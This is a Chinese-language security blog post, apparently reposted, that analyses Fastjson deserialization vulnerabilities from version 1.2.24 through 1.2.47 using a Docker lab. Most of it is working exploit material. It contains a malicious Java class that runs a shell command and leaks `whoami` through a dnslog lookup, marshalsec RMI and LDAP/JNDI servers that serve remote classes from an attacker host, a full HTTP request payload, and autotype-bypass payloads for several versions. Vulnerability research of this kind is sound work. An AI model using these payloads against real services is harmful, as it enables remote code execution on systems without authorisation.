Fastjson漏洞分析

admin 2022年1月6日01:46:03评论53 views字数 10533阅读35分6秒阅读模式

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

Fastjson 1.2.22-1.2.24

漏洞环境

运行测试环境:

1
docker-compose up -d

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

1
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

漏洞复现:

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

起一个WEB服务器,

1
python -m http.server 80

首先编译并上传命令执行代码到WEB服务中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping -c 1 `whoami`.xxx.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-vps/#TouchFile" 9999

向靶场服务器发送Payload,带上RMI的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://your-vps:9999/TouchFile",
"autoCommit":true
}
}

可见,命令已成功执行:

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习
详情可看 https://xz.aliyun.com/t/8979

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用

RMI+JNDI

编译badClassName.java文件,并起一个WEB服务放入,这里端口设置为8888
badClassName.java

1
2
3
4
5
6
7
8
9
import java.io.IOException;

public class badClassName {
public badClassName() throws IOException {
Runtime.getRuntime().exec("calc");

}

}

JNDIServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1200);
Reference reference = new Reference("calc",
"badClassName","http://127.0.0.1:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("calc",referenceWrapper);
}
}
1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] argv){
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1200/calc\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

LDAP+JNDI

编译badClassName.java文件,并起一个WEB服务放入,这里端口设置为8888
badClassName.java

1
2
3
4
5
6
7
8
9
import java.io.IOException;

public class badClassName {
public badClassName() throws IOException {
Runtime.getRuntime().exec("calc");

}

}

LdapServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

class LDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://127.0.0.1:8888/#badClassName";
int port = 1389;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

客户端调用,触发恶意代码

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

checkAutotype安全机制

Fastjson从1.2.25开始引入了checkAutotype安全机制,通过黑名单+白名单机制来防御。
com/alibaba/fastjson/parser/ParserConfig.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

Fastjson 1.2.41

1.2.41版本漏洞利用,其实就是针对1.2.24版本漏洞所打的补丁的绕过,本次漏洞影响了1.2.41版本以及之前的版本

1
2
3
4
5
public static void main(String[] argv){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\", \"autoCommit\":true}";
JSON.parseObject(payload);
}

可以发现,@type字段值为”Lcom.sun.rowset.JdbcRowSetImpl;”

在”com.sun.rowset.JdbcRowSetImpl”类的首尾多出了一个L与;

通过上文对checkAutotype安全机制的解释可以发现,@type字段值首先会经过黑白名单的校验。在成功通过校验之后,程序接下来会通过TypeUtils.loadClass方法对类进行加载

1
2
3
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

进入loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null &amp;& className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
……

”[”、 ”L”、”;”这些都是什么?以及为什么FastJson为什么要写两处if逻辑来处理他们。
用来解析传入的数组类型的Class对象字符串(JNI字段描述符)

详情可看:
https://www.anquanke.com/post/id/215753

Fastjson 1.2.42

不同于之前的版本,程序并不是直接通过明文的方式来匹配黑白名单,而是采用了一定的加密混淆。 针对这里的黑名单的原文明文也是有人曾经研究过的,可以参考如下链接

https://github.com/LeadroyaL/fastjson-blacklist

开发者的用意大概是想针对于1.2.41版本的利用”Lcom.sun.rowset.JdbcRowSetImpl;”,先剥去传入类名首尾的”L”与”;”,
以便将恶意数据暴露出来,再经过黑名单校验

1
2
3
4
5
6
7
8
9
10
11
12
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
……

绕过

1
2
3
4
5
public static void main(String[] argv){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\", \"autoCommit\":true}";
JSON.parseObject(payload);
}

Fastjson 1.2.45

在Fastjson 1.2.45版本中,checkAutotype安全机制又被发现了一种绕过方式。

之前的几次绕过都是针对checkAutoType的绕过,而这次则是利用了一条黑名单中不包含的元素,从而绕过了黑名单限制。

本次绕过利用到的是mybatis库。如果想测试成功,需要额外安装mybatis库。
pom.xml

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.2</version>
</dependency>

利用poc如下

1
2
3
4
5
public static void main(String[] argv){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/badClassName\"}}";
JSON.parseObject(payload);
}

Fastjson 1.2.47

Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是,Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行。

poc

1
2
3
4
5
6
public static void main(String[] args) {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\",\"autoCommit\":true}}";
Object obj = JSON.parseObject(payload);
System.out.println(obj);
}

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.100:9999/TouchFile",
"autoCommit":true
}
}

不开启autotype

参考文章:
https://www.kumamon.fun/fastjsonsecurity1/
https://vulhub.org/
https://xz.aliyun.com/t/8979
Fastjson 1.2.24反序列化漏洞深度分析:http://blog.topsec.com.cn/fastjson-1-2-24%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e6%b7%b1%e5%ba%a6%e5%88%86%e6%9e%90/
Fastjson历史漏洞研究(一): https://www.anquanke.com/post/id/215753
FastJson历史漏洞研究(二):https://www.anquanke.com/post/id/218268

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:46:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson漏洞分析https://cn-sec.com/archives/722676.html

发表评论

匿名网友 填写信息